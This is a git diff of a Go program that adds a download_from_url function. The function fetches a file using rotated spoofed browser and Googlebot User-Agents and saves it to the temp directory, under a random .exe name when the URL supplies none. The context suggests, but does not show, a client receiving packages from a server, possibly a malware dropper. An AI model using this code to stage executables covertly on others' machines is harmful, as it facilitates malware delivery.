@@ -8,7 +8,11 @@ import (
88 "io"
99 "log"
1010 "net/http"
11+ "os"
12+ "path"
13+ "path/filepath"
1114 "strconv"
15+ "time"
1216)
1317
1418var clientHTTP = & http.Client {
@@ -167,3 +171,74 @@ func check_package_legality(pkg *ServerReply) bool {
167171
168172 return true
169173}
174+
175+ func download_from_url (url , file_name string ) string {
176+ // HTTP agent with overtime limitation
177+ client := & http.Client {
178+ Timeout : 20 * time .Second ,
179+ }
180+
181+ // Create a new HTTP GET request
182+ req , err := http .NewRequest ("GET" , url , nil )
183+ if err != nil {
184+ return ""
185+ }
186+ // Create a fake UA
187+ var UserAgents = []string {
188+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ,
189+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/124.0.0.0 Safari/537.36" ,
190+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15" ,
191+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ,
192+ "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" ,
193+ "Mozilla/5.0 (Linux; Android 13; SM-G988B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Mobile Safari/537.36" ,
194+ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ,
195+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" ,
196+ "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0" ,
197+ "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" ,
198+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Electron/29.1.0 Chrome/122.0.0.0 Safari/537.36" ,
199+ "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" ,
200+ }
201+ // Set HTTP header and send GET request
202+ req .Header .Set ("User-Agent" , UserAgents [g_seed .Intn (len (UserAgents ))])
203+ resp , err := client .Do (req )
204+ if err != nil {
205+ return ""
206+ }
207+ defer resp .Body .Close ()
208+
209+ // Check statuscode of http response
210+ if resp .StatusCode != 200 {
211+ return ""
212+ }
213+
214+ // Build save path
215+ final_file_path := ""
216+ temp_file_name := ""
217+
218+ if file_name == "" {
219+ // If user doesn't specfiy file path, try to parse it from url
220+ temp_file_name = path .Base (resp .Request .URL .Path )
221+ if temp_file_name == "" || temp_file_name == "/" {
222+ // Oops, no? use default
223+ temp_file_name = random_string (random_int (5 , 17 )) + ".exe"
224+ }
225+
226+ } else {
227+ temp_file_name = file_name
228+ }
229+ final_file_path = filepath .Join (os .TempDir (), temp_file_name )
230+
231+ // Create file
232+ f , err := os .Create (final_file_path )
233+ if err != nil {
234+ return ""
235+ }
236+ defer f .Close ()
237+
238+ _ , err = io .Copy (f , resp .Body )
239+ if err != nil {
240+ return ""
241+ }
242+
243+ return final_file_path
244+ }
0 commit comments